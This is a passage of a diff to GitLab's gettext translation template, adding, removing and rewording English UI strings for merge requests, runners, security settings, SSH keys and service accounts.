+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
